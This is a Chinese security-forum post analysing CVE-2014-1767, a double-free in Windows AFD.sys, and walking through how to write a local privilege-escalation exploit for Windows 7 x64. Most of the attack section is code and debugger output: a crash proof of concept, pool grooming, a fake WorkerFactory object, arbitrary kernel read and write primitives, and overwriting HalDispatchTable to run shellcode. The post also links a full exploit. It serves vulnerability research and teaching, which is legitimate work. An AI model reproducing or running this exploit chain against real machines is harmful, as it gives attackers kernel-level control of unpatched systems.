首页
社区
课程
招聘
[原创]【EXP 编写与分析系列四】Windows本地提权漏洞CVE-2014-1767分析及EXP编写指导
2022-2-12 17:16 28452

[原创]【EXP 编写与分析系列四】Windows本地提权漏洞CVE-2014-1767分析及EXP编写指导

2022-2-12 17:16
28452

1、前言

1.1 为什么写这篇文章

这是我的第四篇CVE文章,相比前面三篇,我认为这篇文章研究的CVE漏洞,是最难,同时也是最值得学习的一个提权漏洞。尽管之前的漏洞也很优秀,但这个漏洞我认为是优秀者中的佼佼者。我们要自己去构造内存数据,而且要精确到字节,要了解一些系统的机制,还要知道各种函数的反汇编用法,因此EXP里面的每一个数据都有其特定的含义,并非随意而为,难度自然更大。我想这对提高我们的PWN水平有帮助,所以我写下了这篇文章。
本文侧重于介绍内存构造的思路,最后给出了调试结果。

1.2 概述

在2014年的Pwn2Own黑客大赛上,windows8.1 平台上的IE11沙箱,被Siberas安全团队利用CVE-2014-1767 Windows AFD.sys 双重释放漏洞绕过,他们也因此获得2014年黑客奥斯卡的“最佳提权漏洞奖”。

1.3 非常重要的说明

针对这个漏洞我要说明的有以下几点:
1、本文侧重点在POC、EXP编写,从逆向与调试的角度引领你分析、编写POC、EXP;
2、本文是首篇针对该漏洞在x64平台下的分析、编写文章;
3、全网最详细POC、EXP的编写说明;
4、EXP完全复用POC的代码;
5、上传的EXP是我自己编写的。
实验环境为:win7_x64_sp1(7601)版本

2、POC分析

2.1 POC代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
ULONG CalcLength()
{
    int BaseLength = 0x10000;
    unsigned __int16 VirtualAddress = 0x13371337;
    int FinalLength = 0x0;
    while (1)
    {
        FinalLength = ((BaseLength & 0xFFF) + ((unsigned __int16)VirtualAddress & 0xFFF) + 0xFFF) >> 0xC;
        FinalLength = 8 * (FinalLength + (BaseLength>>0xC))+ 0x30;
            if (FinalLength == 0x100)
            {
                break;
            }
            else
            {
                BaseLength += 1;
                continue;
            }
    }
    return BaseLength;
}
 
int main()
{
    int nBottonRect = 0x2aaaaaa;
    while (true)
    {
        HRGN hrgn = CreateRoundRectRgn(0, 0, 1, nBottonRect, 1, 1);
        if (hrgn==NULL)
        {
            break;
        }
        printf("hrgn = %p\n", hrgn);
    }
 
    //这儿看IoAllocateMdl(ntoskrnl)
    DWORD length = CalcLength();
    printf("Length = %x\n", length);
    DWORD virtualAddress = 0x13371337;
 
    static BYTE inbuf1[0x40];
    memset(inbuf1, 0, sizeof(inbuf1));
    *(ULONG_PTR*)(inbuf1 + 0x20) = virtualAddress;
    *(ULONG*)(inbuf1 + 0x28) = length;        
    *(ULONG*)(inbuf1 + 0x3c) = 1;              
    static BYTE inbuf2[0x18];
    memset(inbuf2, 0, sizeof(inbuf2));
    *(ULONG*)(inbuf2) = 1;
    *(ULONG*)(inbuf2 + 0x8) = 0x0AAAAAAA;      
    WSADATA         WSAData;
    SOCKET         s;
    sockaddr_in  sa;
    int             ierr;
    WSAStartup(0x2, &WSAData);
    s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    memset(&sa, 0, sizeof(sa));
    sa.sin_port = htons(135);
    sa.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
    sa.sin_family = AF_INET;
    ierr = connect(s, (const struct sockaddr*)&sa, sizeof(sa));
    DeviceIoControl((HANDLE)s, 0x1207F, (LPVOID)inbuf1, 0x40, NULL, 0, NULL, NULL);
    DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0x18, NULL, 0, NULL, NULL);
}

2.2 POC运行结果


运行上面POC代码,系统出现蓝屏后的windbg调试结果见上图(上图并不是原始输出,我把一些不重要的数据删除了)。从第一个红框可以看出:
1、这是一个双重释放漏洞;
2、双重释放的代码在afd!AfdReturnTpinfo+0xe7。
我们先来看看afd!AfdReturnTpinfo+0xe7,是什么代码:

可见,在afd!AfdReturnTpinfo+0xe1处,是IoFreeMdl函数,它是用来释放Mdl指针的。那么,释放完之后,有没有对指针进行清零处理?我们来看看反编译代码:

根据上面分析可知,IoFreeMdl肯定被执行了两次,那么,在后面我们进行分析时,可以在此处下断点,看这块内存是怎么变化的。现在,我们来看看,程序为什么会调用IoFreeMdl两次。

2.3 漏洞产生的根本原因

漏洞是因为连续两次释放内存,由afd!AfdReturnTpinfo调用。
第一次是因为调用
DeviceIoControl((HANDLE)s, 0x1207F, (LPVOID)inbuf1, 0x40, NULL, 0, NULL, NULL);
时,afd!afdTransmitFile+0x2CD调用MmProbeAndLockPages函数判断的地址,是POC里面指定的0x13371337这个非法地址,所以会出现异常,如下图所示:


第二次调用:
DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0x18, NULL, 0, NULL, NULL);
因为POC里面指定的内存空间是0x0AAAAAAA*0x18,在afd!afdTransmitPackets中调用afd!AfdTliGetTpInfo,执行ExAllocatePoolwithQutaTag时失败后,会跳到AfdReturnTpinfo函数执行,如下图:

两次进入异常处理函数,都会调用IoFreeMdl函数,从而导致指针双重释放。

3、x64平台POC编写指导

3.1 第一阶段:消耗系统内存

1
2
3
4
5
6
7
8
9
10
int nBottonRect = 0x2aaaaaa;
while (true)
{
    HRGN hrgn = CreateRoundRectRgn(0, 0, 1, nBottonRect, 1, 1);
    if (hrgn==NULL)
    {
        break;
    }
    printf("hrgn = %p\n", hrgn);
    }

通过CreateRoundRectRgn函数消耗内存。至于为什么要消耗内存,可以先看2.3节,我在后面会做更详细说明。

3.2 第二阶段:构造Inbuff1

3.2.1 Inbuff1的输入长度构造

POC里面有个函数CalcLength,它是用于计算输入长度,用来控制分配内存空间大小的。现在,我们需要内存固定分配0x100字节大小的空间,至于为什么,我在后面说明,现在你只用知道,我们需要构造一个0x100大小的内存空间。
在afd!AfdTransmitFile中,nt!IoAllocateMdl函数第二个参数length就是我们输入的参数,通过这个参数,就可以控制内存大小,见下图:

现在,我们需要看看IoAllocateMdl是如何分配内存空间的,反编译nt!IoAllocateMdl,可得:

我们的CalcLength函数,就是为了输入Length,得到一个固定的内存0x100。基本思路是:
1、初始Length从0x10000开始;
2、ViRtualAddress是非法地址0x13371337;
通过while(1)循环,查找使得分配内存为0x100的length,具体实现见代码。
代码实现为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
ULONG CalcLength()
{
int BaseLength = 0x10000;
unsigned __int16 VirtualAddress = 0x13371337;
int FinalLength = 0x0;
while (1)
{
   FinalLength = ((BaseLength & 0xFFF) + ((unsigned
   __int16)VirtualAddress & 0xFFF) + 0xFFF) >> 0xC;
   FinalLength = 8 * (FinalLength + (BaseLength>>0xC))+ 0x30;
   if (FinalLength == 0x100)
   {
    break;
   }
    else
   {
    BaseLength += 1;
    continue;
    }
   }
   return BaseLength;
}

3.2.2 Inbuff1的参数构造

afd!afdTransmitFile和afd!afdTransmitPackets两个函数的函数原型分别是:

1
2
__fastcall AfdTransmitFile(PIRP  pIRP, PIO_STACK_LOCATION pIoStackLocation)
__fastcall AfdTransmitPackets(PIRP pIrp, PIO_STACK_LOCATION pIoStackLocation)

第二个形参的定义为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
kd> dt _io_stack_location
ntdll!_IO_STACK_LOCATION
   +0x000 MajorFunction    : UChar
   +0x001 MinorFunction    : UChar
   +0x002 Flags            : UChar
   +0x003 Control          : UChar
   +0x008 Parameters       : <unnamed-tag>
//struct{
//  +0x008     ULONG OutputBufferLength;
//  +0x010       POINTER_ALIGNMENT InputBufferLength;
//  +0x018     POINTER_ALIGNMENT IoControlCode;
//  +0x020     Type3InputBuffer
//}
   +0x028 DeviceObject     : Ptr64 _DEVICE_OBJECT
   +0x030 FileObject       : Ptr64 _FILE_OBJECT
   +0x038 CompletionRoutine : Ptr64     long
   +0x040 Context          : Ptr64 Void

最重要的就是偏移0x20的Type3InputBuffer了,这就是我们传入的inbuff1数据。但有个问题,在我们调用这个函数之前,传入的inbuff1已经在栈里面了,现在参数的应用都类似这样:
rsp+8c、rsp+78、rsp+70等等,我们就无法知道这些参数在inbuff1的位置。
但幸好,我们可以根据IoAlloctedMdll函数,很方便的定位length和VirtualAddress。因为IoAlloctedMdll的第一个形参、第二个形参是分别是地址、长度,这是已知的,那么我们就可以先定位length,再定位其他参数。
反编译afd!AfdTransmitFile,分析后,如下图:

由上图可知:
1、因为第104行的判断,所以inbuff1的长度至少为0x40;
2、先让inbuff1有规律的等于一个值,输入之后,断点看length的数值,就可以知道length在buff1的位置,又知道length在rsp+0x78,现在VirtualAddress在rsp+0x70,那么,length偏移0x28,VirtualAdress就偏移0x20。
3、第112行可知,v8由v45得来,v45在rsp+8C位置,也就是inbuff1的0x3C位置,v8等于1的时候,可以不进入112行的if判断,从而执行正常流程。
所以有:

1
2
3
4
5
static BYTE inbuf1[0x40];
memset(inbuf1, 0, sizeof(inbuf1));
*(ULONG_PTR*)(inbuf1 + 0x20) = virtualAddress;
*(ULONG*)(inbuf1 + 0x28) = length;       
*(ULONG*)(inbuf1 + 0x3c) = 1;

3.3 第三阶段:构造Inbuff2

inbuff2是通过AfdTransmitPackets函数处理的,所以反编译AfdTransmitPackets函数之后分析,如下图:

从上图可知:
1、 第103行表明,输入的inbuff2长度至少为0x18字节,所以我们定义的就是0x18字节;
2、 由第114行可知,v7就是我们的inbuff2;
3、 由125行可知,inbuff2的第0个字节等于1,就不会进入if;
4、 由136行可知,输入的v52是分配系数,分配的大小是0x18输入长度,现在分配的长度是0xaaaaaaa018字节,而我们在第一阶段就已经把内存消耗完,这里执行只会失败。

综上所以,可得:
static BYTE inbuf2[0x18];
memset(inbuf2, 0, sizeof(inbuf2));
(ULONG)(inbuf2) = 1;
(ULONG)(inbuf2 + 0x8) = 0x0AAAAAAA;

3.4 触发漏洞

最后,触发漏洞函数为:

1
2
DeviceIoControl((HANDLE)s, 0x1207F, (LPVOID)inbuf1, 0x40, NULL, 0, NULL, NULL);
DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0x18, NULL, 0, NULL, NULL);

控制码为0x1207F的DeviceIoControl 函数执行之后,会因为地址异常执行nt!IoFreeMdl,释放一次指针;控制码为0x120C3的DeviceIoControl 函数执行之后,又会因为异常执行nt!IoFreeMdl,再释放一次指针,从而触发漏洞。

4、x64平台EXP编写指导

4.1 基本思路

调用控制码为0x1207F的函数触发异常释放pool后,创建一个对象占用这个释放的pool,然后再调用控制码为0x120C3的函数,触发异常后再次释放这个pool,最后再把这个pool的数据赋值成假数据,但指向这个pool的指针,我们已经能够控制了,具体分析如下。

4.1 第一步:构造FakeWorkerFactory

先来看看构造的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
const DWORD FakeObjSize = 0x100;
    static BYTE FakeWorkerFactory[FakeObjSize];
    memset(FakeWorkerFactory, 0, FakeObjSize);
 
    static BYTE ObjHead[0x50] =
    {
    0x00,0x00,0x00,0x00,0x08,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x16,0x00,0x08,0x00,0x00,0x00,0x00,0x00,
    0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    };
    memcpy(FakeWorkerFactory, ObjHead, 0x50);
    static BYTE a[0x18+0x4+0x4] =
    {        0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, //18
        0x00,0x00,0x00,0x00,   //*(_QWORD *)Object + 0x18
        0x00,0x00,0x00,0x00   
    };
    PVOID *pFakeObj = (PVOID*)((ULONG_PTR)FakeWorkerFactory + 0x50);
    *pFakeObj = a;
    printf("object a : = %p\n", a);
    printf("pFakeObj = %p\n", pFakeObj);

至于为什么这样写,从4.1.1节开始说明。

4.1.1 windbg确认WorkFactory的大小

WorkerFactory占用空间的大小我们跟踪这条链:
NtCreateWorkerFactory->ObpCreateObject->ObpAllocateObject-> ExAllocatePoolWithTag。
但是ObpCreateObject和ObpAllocateObject很多地方都有调用,如果这个时候一步一步通过函数执行过去,很麻烦,而且很容易出错,你会得到错误的大小。调式的时候,可以这样做:
A、首先打两个断点:
4: kd> bl
0 e Disable Clear fffff8000438c8fa 0001 (0001) nt!ObpAllocateObject+0x12a "r rdx;gc" 1 e Disable Clear fffff80004374b08 0001 (0001) nt!NtCreateWorkerFactory
B、然后运行exp,程序会断在第1个点的NtCreateWorkerFactory。
C、然后继续g,
1: kd> g
rdx=0000000000000100
rdx=00000000000004f8
rdx=0000000000000068
rdx=00000000000000a8
rdx=00000000000000a8
rdx=0000000000000068
rdx=00000000000000a8
第一个rdx就是自己申请的workfactory的大小0x100了。
这就是为什么我们在3.1.1要费尽心思构造pool为0x100的原因。

4.1.2 windbg确认WorkFactory的内存数据

你的实验平台如果跟我一样,下面的断点,你可以直接用:

1
2
3
4
5
6
kd> bl
     0 d Enable Clear  fffff800`01faab08     0001 (0001) nt!NtCreateWorkerFactory
     1 d Enable Clear  fffff800`01cb56d0     0001 (0001) nt!NtSetInformationWorkerFactory ".if(rdx==8){r rdx;r r9}.else{gc;}"
     2 d Enable Clear  fffff800`01cb5879     0001 (0001) nt!NtSetInformationWorkerFactory+0x1a6
     3 d Enable Clear  fffff800`01fc28fa     0001 (0001) nt!ObpAllocateObject+0x12a(这儿是NtCreateWorkerFactory的nt!ExAllocatePoolWithTag,看pool)
     4 d Enable Clear  fffff800`01faacc9     0001 (0001) nt!NtCreateWorkerFactory+0x1c1(这儿是createobject的下一句,看object

首先,使能第3个和第4个断点,在windbg里面断下:可以看到:

由上图,可以得到:
1、object在workerfactory起始地址的偏移量。object在workerfactory起始地址偏移0x50处,0xfffffa8031092560是起始地址,0xfffffa8031092550是pool的header;
2、把objectHead的数据拷贝出来,作为我们构造EXP时的Fakeworkerfactory的数据;
然后,使能第1个断点和第2个断点,继续运行,得到:

从上图,可以得到:
1、NtSetInformationWorkerFactory中object的pool是从ObReferenceObjectByHandleWithTag中得到的;
2、再分析NtCreateWorkerFactory可知,在NtCreateWorkerFactory时创建的pool数据,在NtSetInformationWorkerFactory时已经被覆盖掉了。
数据是怎么被覆盖的?用的是4.1.3介绍的nt!NtQueryEaFile函数。

4.1.3 覆盖WorkFacroty内存数据

现在有个问题,我们构造的WorkFactory数据是在应用层,那么如何把数据拷贝到之前释放的pool处呢?直接拷贝当然是不行的,毕竟,我们并不知道pool的地址。这个时候就可以调用一个关键的函数实现这个目的。这个函数就是NtQueryEaFile函数。
先来看看NtQueryEaFile函数的声明:

1
2
3
4
5
6
7
8
9
NTSTATUS __stdcall NtQueryEaFile
(HANDLE FileHandle,
PIO_STATUS_BLOCK IoStatusBlock,
PVOID Buffer, ULONG Length,
BOOLEAN ReturnSingleEntry,
PVOID EaList,
 ULONG EaListLength,
 PULONG EaIndex,
 BOOLEAN RestartScan)

我们调用的代码为:

1
fpQueryEaFile(INVALID_HANDLE_VALUE, &IoStatus, NULL, 0, FALSE, FakeWorkerFactory, FakeObjSize , NULL, FALSE);

EaList --->FakeWorkerFactory
EaIndex---> FakeObjSize
再来看看fpQueryEaFile的反汇编代码。

执行这个函数之后,伪造的数据就被拷贝到了之前释放的pool处,然后根据相应的函数操作WorkFactory的内存,就可以实现任意地址写和读了。
但是这里有一个关键点,就是在函数的最后,它会释放内存,如下图:

这就意味着,我们操纵的,仍然是一个已经释放的内存,所以需要注意调试的速度。如果pool被再次替换受控和释放,我们的读取和写操作将失败,结果将是错误检查。所以读取和写入必须在每次之后立即完成。
这很关键,请牢牢记住。

4.2、第二步:任意写实现

任意地址写,是通过SetInformationWorkerFactory函数实现的,原理如下图:

在第175行,传入handle,通过ObReferenceObjectByHandleWithTag函数索引,就可以得到object,这个object就是我们代码里面的变量a。在NtSetInformationWorkFactory函数里面,任意写是这行代码:

1
*(_DWORD *)(*(_QWORD *)(*(_QWORD *)Object + 0x18i64) + 0x2Ci64) = v64;

而我们在执行选择NtSetInformationWorkerFactory时,选择的是WorkerFactoryAdjustThreadGoal(0x8),等于8,会直接运行到NtSetInformationWorkerFactory的655行,然后会执行任意地址写。也就是说,如果我们需要在目标地址kHalDsipatchTableQueryAddr写入shellcode地址,那么,就需要让

1
2
*(_DWORD *)(*(_QWORD *)(*(_QWORD *)Object + 0x18i64) + 0x2Ci64= shellcode地址高四位
*(_DWORD *)(*(_QWORD *)(*(_QWORD *)Object + 0x18i64) + 0x2Ci64= shellcode地址低四位

这就意味着:
(_QWORD )((_QWORD )Object + 0x18i64) + 0x2Ci64等于kHalDsipatchTable地址,那么,当系统调用该函数赋值的时候,就会把shellcode地址高四位或低四位写入HalDsipatchTable。所以,写入shellcode地址时,需要把高四位和第四位分开写:

1
2
*(_QWORD *)(*(_QWORD *)Object + 0x18i64) = kHalDsipatchTable – 0x2C (低4位)
*(_QWORD *)(*(_QWORD *)Object + 0x18i64) = kHalDsipatchTable – 0x2C + 4 (高4位)

正好对应我们的代码:

1
2
*(PVOID*)(a + 0x18) = (PVOID)(kHalDsipatchTableQueryAddr - 0x2C);
*(PVOID*)(a + 0x18) = (PVOID)(kHalDsipatchTableQueryAddr - 0x2C + 0x04);

构造完毕之后,就可以把shellcode的地址写入了,EXP代码如下:

1
2
3
4
5
6
7
static ULONG_PTR ShotAddress = (ULONG_PTR)ShellCode;  
DWORD what_write2 = ShotAddress >> 32 & 0xffffffff;  
DWORD what_write1 = ShotAddress & 0xffffffff;
 
fpSetInformationWorkerFactory(hWorkerFactory, WorkerFactoryAdjustThreadGoal, &what_write1, 0x4);
fpSetInformationWorkerFactory(hWorkerFactory, WorkerFactoryAdjustThreadGoal, &what_write2, 0x4);
上面fpSetInformationWorkerFactory函数第二个形参和第4个形参的选择分别是WorkerFactoryAdjustThreadGoal(0x8)、0x4,原因如下:

4.3 第三步:任意读实现

任意地址读,是通过NtQueryInformationWorkerFactory函数实现的,原理如下图:

由上图可知:
1、输入的内存长度必须是0x78;
2、选择的读取地址是(QWORD*)object+0x10;
3、第二个参数必须等于7,也就是要等于WorkerFactoryBasicInformation。
现在我们来看第81行代码,是这样写的:

1
Src[11] = *(_QWORD *)(v14[0x10] + 0x180i64);

所以在构造object的时候,目标地址需要减去0x180,写为:

1
2
3
4
5
6
7
8
9
10
*(ULONG_PTR*)(pFakeObj + 0x10) = (ULONG_PTR)kHalDsipatchTable + sizeof(PVOID) - 0x180 ;
//然后构造fpQueryInformationWorkerFactory为:
static BYTE kernelRetMem[0x78];
memset(kernelRetMem, 0, sizeof(kernelRetMem));
fpQueryInformationWorkerFactory(hWorkerFactory,
    WorkerFactoryBasicInformation,(0x7
    kernelRetMem,
    0x78,
    NULL);
kfpHaliQuerySystemInformation = *(PVOID*)(kernelRetMem + 8 * 0xB);

5、调试数据

断点选择在pool申请和释放的地方,断点为:

1
2
0 e Disable Clear  fffff880`05161581 e 1 0001 (0001) afd!AfdReturnTpInfo+0xe1
1 e Disable Clear  fffff800`0432dfe1 e 1 0001 (0001) nt!NtQueryEaFile+0x171

第一次执行IoFreeMdl前的目标内存,见下图:

第一次执行IoFreeMdl后和第二次执行IoFreeMdl前的目标内存见下图:

第二次执行IoFreeMdl后的目标内存见下图:

NtQueryEaFile函数拷贝内存时的目标内存,见下图:

6、缓解措施

在AfdReturnTpInfo中,把TpInfoElementCount清零了,如果Count等于0的时候,就不进行释放操作。见下图:

7、提权结果

8、代码

CVE-2014-1767的EXP代码链接
这个链接有两个文件,一个是C版本的,一个是python版本的,其中C版本的是EXP,python版本的是POC。
我没有上传C版本的POC,因为把EXP中创建WorkerFactory代码删除,就直接可以得到POC代码了。

9、后言

写文章确实不容易,讲清楚更不容易,这篇文章耗费了我很大的精力,后续再接再厉,希望能够多出好作品。
另外感谢看雪给我的奖励,新年收到看雪的美团购物卡,在此感谢。


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2022-3-8 07:07 被ExploitCN编辑 ,原因:
收藏
点赞9
打赏
分享
打赏 + 150.00雪花
打赏次数 1 雪花 + 150.00
 
赞赏  Editor   +150.00 2022/03/15 恭喜您获得“雪花”奖励,安全圈有你而精彩!
最新回复 (2)
雪    币: 2660
活跃值: (2255)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
ExploitCN 2 2022-2-15 15:34
2
0

修改了下

最后于 2022-2-15 15:34 被ExploitCN编辑 ,原因:
雪    币: 12058
活跃值: (15384)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
pureGavin 2 2022-2-17 15:37
3
0
感谢分享
游客
登录 | 注册 方可回帖
返回